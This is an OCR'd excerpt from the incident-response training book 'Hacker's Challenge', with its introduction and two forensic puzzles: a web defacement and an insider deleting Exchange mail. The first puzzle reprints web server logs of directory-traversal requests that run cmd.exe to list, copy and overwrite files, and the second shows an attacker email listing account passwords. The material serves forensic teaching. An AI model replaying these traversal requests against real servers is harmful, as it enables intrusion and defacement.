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“Hacker’s Challenge will definitely challenge even the most technically astute I.T.
security pros with its ‘ripped from the headlines’ incident response scenarios. These
based-on-real-life vignettes from a diverse field of experienced contributors make for
page-turning drama, and the reams of authentic log data will test the analytical skills

of anyone sharp enough to get to the bottom of these puzzling tableaus.”

—dJoel Scambray, Managing Principal of Foundstone, Inc. and author of the best-selling
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“Hacker’s Challenge reads like a challenging mystery novel. It provides practical
examples and a hands-on approach that is critical to learning how to
investigate computer security incidents.”

—Kevin Mandia, Director of Computer Forensics at Foundstone and author of Incident
Response: Investigating Computer Crime, published by Osborne/McGraw-Hill
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This, my first book, is dedicated to two people:
first, posthumously to my father,
who kindled my initial romanticism with computers;
and second, to my amazing and wonderful girlfriend,
Alisa Rachelle Albrecht.



If you know the enemy and know yourself,
you need not fear the result of a hundred battles.

—Sun Tzu
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INTRODUCTION

HACKERS VICTIMIZE CAL-ISO

June 09, 2001, By DAN MORAIN, Los Angeles Times Staff Writer

SACRAMENTO—For at least 17 days at the height of the energy crisis, hackers mounted an
attack on a computer system that is integral to the movement of electricity throughout California, a
confidential report obtained by The Times shows.

The hackers’ success, though apparently limited, brought to light lapses in computer security at
the target of the cyber-attack, the California Independent System Operator, which oversees most of
the state’s massive electricity transmission grid.

Officials at Cal-ISO say that the lapses have been corrected and that there was no threat to the grid.
But others familiar with the attack say hackers came close to gaining access to key parts of the sys-
tem, and could have seriously disrupted the movement of electricity across the state.

Democratic and Republican lawmakers were angered by the security breach at an entity that is
such a basic part of California’s power system, given its fragility during the state’s continuing en-
ergy crisis. One called the attack “ominous.”

An internal agency report, stamped “restricted,” shows that the attack began as early as April 25
and was not detected until May 11. The report says the main attack was routed through China
Telecom from someone in Guangdong province in China.

In addition to using China Telecom, hackers entered the system by using Internet servers based in
Santa Clara in Northern California and Tulsa, Okla., the report says. James Sample, the computer se-
curity specialist at Cal-ISO who wrote the report, said he could not tell for certain where the attack-
ers were located.

XXi
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“You don’t know where people are really from,” Sample said. “The only reason China
stuck out is because of the recent political agenda China had with the U.S. ... An ambi-
tious U.S. hacker could have posed as a Chinese hacker.”

The breach occurred amid heightened Sino-American tensions after the collision be-
tween a Chinese military jet and a U.S. spy plane. In early May, there were hundreds
of publicly reported computer attacks apparently originating from China. Most of
those incidents involved mischief; anti-American slogans were scrawled on govern-
ment Web sites.

The attack on the Cal-ISO computer system apparently had the potential for more seri-
ous consequences, given that the hackers managed to worm their way into the computers
at the agency’s headquarters in Folsom, east of Sacramento, that were linked to a system
that controls the flow of electricity across California. The state system is tied into the
transmission grid for the Western United States.

“This was very close to being a catastrophic breach,” said a source familiar with the at-
tack and Cal-ISO’s internal investigation of the incident.

On May 7 and 8, as the infiltration was occurring, California suffered widespread roll-
ing blackouts, but Cal-ISO officials said Friday that there was no connection between the
hacking and the outages, which affected more than 400,000 utility customers.

After the attack was discovered, the report says, investigators found evidence that the
hackers apparently were trying to “compile” or write software that might have allowed
them to get past so-called firewalls protecting far more sensitive parts of the computer
system.

—Courtesy of the Los Angeles Times

Newspapers are constantly bombarding us with stories like the one above. There are
consistent reports of widespread abuse of the world’s computer systems by malicious in-
dividuals. During the summer of 2001, a simple query at cnn.com over a three-month
time period revealed articles with titles such as

<

Aggressive new worm threatens users

Hacker forces bank to cancel Visa debit cards
New virus spreads using Adobe Acrobat files
Russian hackers arrested

Who's reading your instant messages?
Pentagon says it is under daily computer attack
Analysts: Any website can be a hacking target

China warns of massive hack attacks

> E E EEEERN

Denial of Service warning issued by the FBI
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Indeed, as the Internet grows in size and constituency, so do the number of com-
puter-security incidents. One thing the news doesn’t inform us is how these incidents take
place. What led up to the incident? What enabled it? What provoked it? What could have
prevented it? How can the damage be mitigated? And most of all, how did it happen? If
any of this interests you, then this book is for you.

Hacker’s Challenge brings you fact-based, computer-security war stories from top re-
searchers, consultants, incident-response specialists, and forensic analysts working in the
computer-security industry today. Rather than just retelling the story, however, the book
goes further—it pulls you, the reader, inside the story. As each story unfolds, you are pre-
sented with information about the incident and are looked upon to solve the case.

This book is unlike any other available right now. People who are responsible for net-
works and network security across many different industries can read about actual pene-
trations of similar companies. They can use the information in this book to learn the kinds
of scenarios they need to worry about and the modi operandi of some attackers. This
book is also a lot of fun to read.

ORGANIZATION

Hacker’s Challenge is broken up into two parts. Part I contains all of the case studies, or
Challenges. Included in each Challenge is a detailed description of the case with all of the
evidence and forensic information (log files, network maps, and so on) necessary for the
reader to determine exactly what occurred. For the sake of brevity, in many of the chap-
ters, vast portions of the evidence have been removed, leaving the reader almost exclu-
sively with pertinent information (as opposed to just pages and pages of data to wade
through). At the end of each case study, a few specific questions guide the reader toward
a correct forensic analysis.

Part II of the book contains all of the Solutions to the Challenges set forth in Part I. In
this section, the case study is thoroughly examined, with all of the evidential information
completely explained, along with the questions answered. Additionally, there are sec-
tions on mitigation and prevention.

TO PROTECT THE INNOCENT...

To protect the anonymity of the profiled organizations, many details in each story had to
be changed or removed. Care was taken to preserve the integrity of each case study, sono
entropy was lost in the process. The changed information includes some of the following:

V¥ Company names

B Employee names

B 1P addresses
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B Dates

B  Web defacement details (in order to change the message and remove profanity
or other unsuitable content)

A Nonessential story details

VULNERABILITY INFORMATION

Throughout the book, wherever possible, we will make reference to external resources
that contain additional information about specific profiled vulnerabilities (look for the
Additional Resources section at the end of each Solution). Also, the following two organi-
zations, MITRE and SecurityFocus, both contain slightly different vulnerability data-
bases that are useful general resources.

MITRE (http://cve.mitre.org) is a not-for-profit national technology resource that pro-
vides systems engineering, research and development, and information technology sup-
port to the government. Common Vulnerabilities and Exposures (CVE) is a list or
dictionary that provides common names for publicly known information security vul-
nerabilities and exposures. Using a common name makes it easier to share data across
separate databases and tools that, until now, were not easily integrated. This makes CVE
the key to information sharing.

SecurityFocus (http://www.securityfocus.com) is the leading provider of security
information services for business. The company manages the industry’s largest and most
active security community and operates the security industry’s leading portal, which
serves more than one quarter of a million unique users per month. SecurityFocus’s vul-
nerability database is the most comprehensive collection of published computer security
vulnerabilities anywhere.

COMPLEXITY TAXONOMY

There are three ratings, found in a table at the beginning of each Challenge, that describe
the overall complexity of each chapter. These ratings cover the incident from both the
attacker’s and the security practitioner’s sides of the fence.

Attack Complexity

The attack complexity refers to the level of technical ability on the attacker’s part. This
class profiles the overall sophistication of the attacker. Often we’ll see that the more com-
plex and secure an environment is, the more complex the attacker had to be to compro-
mise it (of course, this isn’t always the case...).

V¥V Low Attacks at this level are generally of script-kid caliber. The attacker did
little more than run an attack script, compile some easy-to-find code, or employ
a publicly known attack method, and showed little or no innovative behavior.
This is the lowest-hanging fruit.
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B Moderate The attacker used a publicly known attack method, but extended
the attack and innovated something beyond the boilerplate. This might involve
address forgery or slight modifications of attack behaviors beyond the norm.

B Hard The attacker was very clever and reasonably skilled. The exploit may
or may not have been public, and the attacker probably writes his or her
own code.

A Devilish Attacks of this caliber generally show domain expertise. The attacker
was extremely skilled, employing either nonpublic exploits or cutting-edge
technology. The attacker was also forced to innovate a great deal, and, if
applicable, may have covered his or her tracks well and left a covert method
of reentry. The attacker probably wouldn’t have been caught except by a
veteran security administrator or by fluke.

Prevention and Mitigation Complexity

The prevention complexity is the level of complexity that would have been required on the
organization’s part to prevent the incident from happening. The mitigation complexity is
the level of complexity required to lessen the impact of the damage of the incident across
the organization’s infrastructure. They are both very similar, and both can be defined by
the same taxonomy:

V¥V Low Preventing or mitigating the problem could be as simple as a single
software patch or update, or a rule addition to a firewall. These changes are
generally simple and do not involve a great deal of effort to invoke.

B Moderate Remediation could involve a complex software patch or update,
possibly in addition to policy changes on a firewall. Reinstallation of an
infected machine and/or small infrastructure changes may also be necessary.

A Hard A complex patch or an update or series of updates to many machines,
in addition to major infrastructure changes, are required. This level may also
include vulnerabilities that are extremely difficult to completely prevent or
mitigate altogether.

CONVENTIONS USED IN THIS BOOK

To get the most out of Hacker’s Challenge, it may help you to know how this book is
designed. Here’s a quick overview. In the body of each chapter you will find log
files, network maps, file listings, command outputs, code, and various other bits of
forensic evidence. This information is reprinted as closely as possible to the original,
but you should take into account that printing restrictions and confidentiality re-
quired some changes.

This book is broken up into two sections. In Part I, Challenges 1-20 present the details
of a real-life incident. Each Challenge begins with a summary table that lists the industry
of the victimized company and complexity ratings for attack, prevention, and mitigation.
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QUESTIONS

At the end of each Challenge, you will find a list of questions that will direct your search
for the details of the incident and guide you toward the overall solution. Feel free to make
notes in this section or throughout the text as you solve the Challenges.

ANSWERS

In Part IT of this book, you'll find the corresponding Solutions, 1-20. The Solutions ex-
plain the details of how the incidents were actually solved, as well as the answers to the
questions presented in the first part of the book.

PREVENTION

The Solutions contain a Prevention section, where you will find suggestions for how to
stop an attack before it starts (useful for companies that find themselves in situations sim-
ilar to the unfortunate organizations profiled in the book).

MITIGATION

The Solutions also contain a Mitigation section, where you will learn what the victimized
company did to pick up the pieces after the attack.

8

Clue

You may find a Clue or two to help you solve the Challenges, but for the most part, you're
on your own.

Good luck!
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Conhugeco, was a publicly traded, medium-sized software company with an-
nual revenue approaching $3 million. The target in this attack was a Web
server maintained by several people.
An interesting side note to this challenge is that it occurred about four weeks
prior to (and was likely the impetus for) Challenge 2, “The Insider.”

The following is an example of an easy Web defacement attack. The victim,

Late one Friday evening, the 24-hour help desk got a phone call. It was a frantic end
user stating that hackers had apparently attacked the company’s Web site. Pete, the
help desk employee, checked out the Web site and found that it had indeed been de-
faced. The message read:

**** SCRIPT KIDZ, INC****

You, my friendz, are completely owned. I'm here, your security is
nowhere.

Someone should check your system security coz you sure aren't.

Pete wasn’t sure what to do next. He panicked and started randomly dialing
through his I.T. phone lists trying to get someone to help him out. As luck would
have it, he happened to find a junior I.T. staffer who was working late into the eve-
ning. Pete communicated the situation to the I.T. staffer who, in turn, also became
anxious. Not knowing what to do, the I.T. employee called his immediate superior
(who was out enjoying a rare evening with his girlfriend and didn’t want to deal
with the situation). After hearing the story, he told the junior L.T. employee to fix the
defaced Web page and move the hacked system to the DMZ (it had been sitting on
the inside of the network).

The junior employee went about putting things back to normal, fortuitously finding
that the attacker was kind enough to make backup copies of all Web files before de-
facing them. After copying the original files back to their correct location and re-
starting the Microsoft IIS Web server, the junior employee relocated the machine to
the DMZ and figured that was that....

That following Monday, the situation got worse. Other employees inside the com-
pany learned of the hack from a Yahoo! message board that was supposed to be
about investments in the company. Someone had posted a link to the archived copy
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of the company’s defaced Web site along with a snide message mocking its security.
Due to this, the Conhugeco’s stock fell. Not a good thing.

The LT. staff began researching the attack. The Web server that was attacked hosted
an older Web site with an old page, which was why no one noticed for several
hours. The system logs on the hacked system offered no evidence of an attack, and
the NT event log did not have any entries during the days prior to or during the at-
tack. What did look suspicious were 22 Web server log file entries during the dates
and times in question:

03/03/2001 4:01 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 3
1 www.victim.com Mozilla/4.0+ (compatible; +MSIE+5.0;+Windows+98)

03/03/2001 4:01 chewie.hacker.fr W3SVC1l WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:\ 200 747 484 3
1 www.victim.com Mozilla/4.0+ (compatible; +MSIE+5.0;+Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+e:\ 502 381 484 4
7 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 3
1 www.victim.com Mozilla/4.0+ (compatible; +MSIE+5.0;+Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\asfroot\ 200 6
66 492 47 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows
+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80

GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\inetpub\ 200 7
49 492 32 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows
+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\inetpub\wwwroo
t 200 1124 499 47 www.victim.com Mozilla/4.0+ (compatible; +MSIE+5.0;
+Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /‘mmc.gif - 404 3387 440 0 www.victim.com Mozilla/4.0+ (compati
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ble; +MSIE+5.0; +Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /mmc.gif - 404 3387 439 0 www.victim.com Mozilla/4.0+ (compatib
le; +MSIE+5.0; +Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:\ 200 747 484 1
6 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:03 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80

GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:\wwwroot\.com 2
00 229 496 32 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Win
dows+98)

03/03/2001 4:03 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80

GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:\wwwroot\ 200 4
113 492 47 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Window
s+98)

03/03/2001 4:03 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /buzzxyz.html - 200 228 444 16 www.victim.com Mozilla/4.0+ (com
patible; +MSIE+5.0; +Windows+98)

03/03/2001 4:03 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /xyzBuzz3.swf - 200 245 324 5141 www.victim.com Mozilla/4.0+ (c
ompatible; +MSIE+5.0; +Windows+98)

03/03/2001 4:03 chewie.hacker.fr W3SVC1l WWW-2K WWW-2K.victim.com 80
GET /index.html - 200 228 484 0 www.victim.com Mozilla/4.0+ (compat
ible; +MSIE+5.0; +Windows+98) http://www.victim.com/buzzxyz.html

03/03/2001 4:05 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80

GET /scripts/../../winnt/system32/cmd.exe /c+rename+d:\wwwroot\det
our.html+detour.html.old 502 355 522 31 www.victim.com Mozilla/4.0+
(compatible; +MSIE+5.0;+Windows+98)

03/03/2001 4:05 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+md+c:\ArA\ 502 355 48
8 31 www.victim.com Mozilla/4.0+ (compatible; +MSIE+5.0;+Windows+98)

03/03/2001 4:05 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80

GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:\winnt\system3
2\cmd.Exe+c:\ArA\cmdl.exe 502 382 524 125 www.victim.com Mozilla/4.
0+ (compatible; +MSIE+5.0;+Windows+98)
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03/03/2001 4:07 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80
GET /scripts/../../ArA/cmdl.exe /c+echo+"<title>SKI</titles><center
><Hl><b><u>****</u>SCRIPT+KIDZ, INC<u>****</u></hl><br><h2>You, +my+
friendz+,are+completely+owned.+I'm+here, +your+security+is+nowhere.<
br>Someone+should+check+your+system+security+coz+you+sure+aren't.<b
r></h2>"+>+c:\ArA\default.htm 502 355 763 31 www.victim.com Mozilla
/4 .0+ (compatible; +MSIE+5.0; +Windows+98)

03/03/2001 4:08 chewie.hacker.fr W3SVC1l WWW-2K WWW-2K.victim.com 80

GET /scripts/../../ArA/cmdl.exe /c+rename+d:\wwwroot\index.html+in
dex.html.old 502 355 511 16 www.victim.com Mozilla/4.0+ (compatible;
+MSIE+5.0;+Windows+98)

03/03/2001 4:10 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80

GET /scripts/../../ArA/cmdl.exe /c+copy+c:\ArA\default.htm+d:\wwwr
oot\index.html 502 382 514 31 www.victim.com Mozilla/4.0+ (compatibl
e;+MSIE+5.0; +Windows+98)

03/03/2001 4:11 chewie.hacker.fr W3SVCl WWW-2K WWW-2K.victim.com 80

GET /index.html - 200 276 414 15 www.victim.com Mozilla/4.0+ (compa
tible; +MSIE+5.0;+Windows+98)

QUESTIONS

From the preceding 22 log file entries, you should be able to determine the following:

1. What vulnerability did the attacker exploit to compromise the Web server?

2. What did the attacker do to try to obfuscate tracking?






CHALLENGE 2

The Insider

by Bill Pennington, Guardent, Inc.

Industry:  Software Engineering
Attack Complexity: Moderate
Prevention Complexity: Moderate
Mitigation Complexity: Hard
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featured in Challenge 1, “The French Connection”) was already reeling from

one attack when this, a much bigger problem, was looming. The victim ini-
tially thought this incident was caused by a software problem, but soon learned it
was not a software problem—but rather a decidedly human problem.

The victim, Conhugeco (the same medium-sized computer software company

Starting at around 5:30 one Monday morning, Kris, the company’s senior LT.
staffer, awoke to frantic calls from the 24-hour help desk, which was, in turn, getting
frantic calls from employees all over the country complaining about missing e-mail.
According to the help desk, users were complaining that the entire contents of their
Inbox, Outbox, and Deleted Items folders had completely disappeared. After check-
ing (and rebooting) the Exchange server, however, Kris could find nothing out of
the ordinary. As the morning progressed, the number of callers complaining about the
same problem increased. At the end of the day, there were over 50 users who were
missing e-mail messages from their mailbox.

When contacted, Microsoft told an irritated Kris that there was actually a rare bug
that would cause this mailbox disappearance to happen. The vendor recommended
making sure his servers were fully up to date with their software revisions and patch
levels. After restoring from the latest backup, Kris checked the servers and found that
all did indeed have the latest patches. Finding it eerily suspicious that these 50-plus
people who had lost their e-mail were some of the most well-known and important
people in the company, and not sure whether this was an attack or a software bug, Kris
made the wise decision to save the Exchange server log files for future examination.

The following Monday, Kris was again awakened by a phone call from the help
desk. This time, users couldn’t connect to the Exchange server, which appeared to
be completely down. Upon further investigation, Kris noticed that the entire Ex-
change database had been deleted. All of the e-mail for the entire company was gone.
Kris went into immediate recovery mode to lessen the impact of the downed e-mail
server. He immediately brought the mail server back up, with no stored e-mail, so
that users could receive any new e-mail coming in. He then restored from the same
backup. At this point, Kris had enough evidence to support the conclusion that
there was a malicious intruder at work inside the company’s network. In light of re-
cent events, he decided it was time to bring in the big guns. Kris made the call to
bring in outside security consultants.
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The security team arrived on site at around 10:00 the next morning to work with the
company. Upon arriving, the security team was informed that the attacker had just
sent this e-mail from a Yahoo! account.

Received: from webl2001.mail.yahoo.com ([216.136.172.207]) by
exchange.victim.com with SMTP (Microsoft Exchange Internet Mail Service
Version 5.5.2653.13)
id QP3FBZ3K; Wed, 06 Mar 2001 9:20:46 -0700
Message-ID: <20010823052706.98727@web12001.mail.yahoo.com>
Received: from [10.2.1.1] by webl2001.mail.yahoo.com; Wed, 06 Mar 2001 9:20:46 PDT
Date: Wed, 06 Mar 2001 9:20:46 -0700 (PDT)
From: snakecharmer <snak3charm3r8l@yahoo.com>
Subject: Owned.
To: all@victim.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

A couple of weeks ago we 0wN3d your http server. We left a nice message for
the IT department but they do not seem to know what they are doing. Last
week we again accessed your system and deleted some e-mail. We also found a
server called jupiter with a lot of cool codes and stuff. This weekend we
again accessed your system and deleted all the e-mail. Your I.T. must be
morons! Our advice is to get some I.T. with a clue!

Here are some passwords for you

Administrator - blink182
Kris - th3vandals

Steve - F3nlxTX

Frank - Antlflag

Bill - sk80rdi3

P.S. If you are looking for your contracts they are located in a folder
called sam.

The security team sat down with Kris, the help desk personnel, and other key em-
ployees and got a brief outline of their network and a complete overview of recent
events. The team quickly learned that the IP address that the e-mail originated from
also happened to be the IP address of their first-hop gateway. From there, they were
able to determine that the e-mail originated from within their internal network.

Kris walked them through a short timeline of the first attack from his perspec-
tive. Kris received a call around 6:30 from Andres, the graveyard help desk person,

11
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stating that Gabe Wachman reported that all his e-mail was missing. Kris was on his
way in already and told Andres he would take a look at it as soon as he got in.
Andres called again while Kris was driving, stating that a few more users reported
the same problem. Kris said he arrived a little before 8:00 and started checking the
Exchange accounts, using the exchange administrator account, to see what the
problem was. As the morning progressed, more and more users called in reporting
the same symptoms. At that point, Kris went into full panic mode and the rest of the
day was rather hazy.

Due to the nature of the attacks and the intimate knowledge demonstrated, the
security team suspected the attacker was internal to the company. The team put to-
gether a list of potential suspects and started collecting log files from Kris for subse-
quent analysis. The team was most interested in physical security logs, firewall logs,
Windows 2000 event logs, and virtual private network (VPN) logs.

Throughout the week, the security team began to piece together a timeline of
events and eliminated several of their suspects. The Web site defacement was rapidly
dismissed as an entry point into the network, as the team was provided with a clear
audit trail of the attack from a computer in France (as detailed in Challenge 1, “The
French Connection”), occurring well before the initial e-mail disappearance had hap-
pened. Additionally, a script-kiddie group had taken responsibility for the original
Unicode attack on attrition.org, a Web site containing archives of hacked Web pages.
The nature of the e-mail attacks indicated that the attacker had a good understanding
of the company’s network and knew exactly where and who to attack.

The team then went about correlating the exact time the Exchange attacks oc-
curred with a list of people who were in the building at the time (via physical access
logs) and people that were connected to the network remotely (via the VPN log
files). Refer to Tables C2-1 through C2-3 for these log files.

Date Time Entrance Name

25-Feb-00 22:10 Front Door Night Watch #1

25-Feb-00 22:32 Front Door Night Watch #1

25-Feb-00 23:45 Loading Area Andres Camacho—

HelpDesk

26-Feb-00 5:34 Front Door Ian Young—Admin

26-Feb-00 5:45 Side Door Dawn Anderson—HR

26-Feb-00 5:46 Side Door Chris Miller—Marketing

26-Feb-00 5:48 Side Door Gabe Wachman—HR

26-Feb-00 5:50 Side Door Jason Recla—Marketing
Table C2-1.  Physical Access Logs
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Date Time Entrance Name

26-Feb-00 5:51 Front Door Julian Pozzi—Graphics

26-Feb-00 5:55 Side Door Jason Rains—Engineering

26-Feb-00 6:03 Shipping Tom Schauer—CEO

26-Feb-00 6:15 Shipping Mike Sines—COO

26-Feb-00 6:36 Front Door Dede Summerly—Finance

26-Feb-00 6:43 Side Door Dana Mueller—Legal

26-Feb-00 6:47 Side Door Ryan Kalember—IT

26-Feb-00 6:47 Front Door Fred Langston—Legal

26-Feb-00 6:59 Shipping Mike Klepper—IT

26-Feb-00 7:09 Front Door Chad Thunberg—CTO

26-Feb-00 7:15 Side Door Edward Amdahl—
Engineering

26-Feb-00 7:20 Side Door Mike Hamilton—Finance

26-Feb-00 7:25 Front Door Tim Newsham—
Engineering

26-Feb-00 7:34 Side Door Kris Winn—IT

Table C2-1.  Physical Access Logs (continued)
Date Time Source Category  Message
26-Feb-00  2:08 Exchange  Success VICTIMDOMAINN\
Public Audit exadmin was validated
as /0=VIC/ou=LA/cn=
Configuration/cn=Servers/
cn=MAIL/cn=Microsoft
System Attendant and
logged onto the public
information store as an
owner using administrator
privileges.
Table C2-2.  Microsoft Exchange Server Log File
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Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
2:52

2:55

2:57

3:00

3:01

3:01

Source

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Public

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAIN\
exadmin logged onto
dmueller mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
danderson mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
bpennington mailbox,
and is not the primary
Windows NT account
on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
pgassner mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
msines mailbox, and is not
the primary Windows NT
account on this mailbox.

VICTIMDOMAINN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn=msines and
logged onto the public
information store.

Table C2-2.

Microsoft Exchange Server Log File (continued)
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Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
3:08

3:09

3:18

3:19

3:22

3:25

Source

Exchange
Private

Exchange
Public

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAIN\
exadmin logged onto
msines mailbox, and is not
the primary Windows NT
account on this mailbox.

VICTIMDOMAIN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn=msines and
logged onto the public
information store.

NT User
VICTIMDOMAIN\
exadmin logged onto
dsummerly mailbox, and
is not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
jrains mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bclinton mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
alincoln mailbox, and is
not the primary Windows
NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)
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Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
3:27

3:27

3:28

3:45

3:51

3:53

Source

Exchange
Public

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

VICTIMDOMAIN\
exadmin was validated

as /0=VIC/ou=LA/cn=
Recipients/cn= alincoln
and logged onto the public
information store.

NT User
VICTIMDOMAINN\
exadmin logged onto
alincoln mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bspears mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bspears mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bspears mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bspears mailbox, and is
not the primary Windows
NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)
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Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
3:57

4:18

4:25

4:31

4:32

4:34

Source

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAINN\
exadmin logged onto
bspears mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bspears mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
bfink mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
mlundergard mailbox,
and is not the primary
Windows NT account
on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
wgibson mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
dadams mailbox, and is
not the primary Windows

NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)
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Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
4:34

4:34

4:39

4:40

4:41

4:41

Source

Exchange
Public

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

VICTIMDOMAIN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn= dadams
and logged onto the public
information store.

NT User
VICTIMDOMAIN\
exadmin logged onto
nstephenson mailbox,
and is not the primary
Windows NT account
on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
thawk mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
mborbely mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
wspeyer mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
tswank mailbox, and is not
the primary Windows NT
account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)




Challenge 2:

The Insider

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
4:42

4:44

4:44

4:47

4:48

4:49

Source

Exchange
Private

Exchange
Private

Exchange
Public

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAIN\
exadmin logged onto
nmandela mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
tschauer mailbox, and is
not the primary Windows

NT account on this mailbox.

VICTIMDOMAINN\
exadmin was validated

as /0o=VIC/ou=LA/cn=
Recipients/cn= tschauer
and logged onto the public
information store.

NT User
VICTIMDOMAINN\
exadmin logged onto
tnewsham mailbox,
and is not the primary
Windows NT account
on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
tnewsham mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
tnewsham mailbox, and is
not the primary Windows

NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)
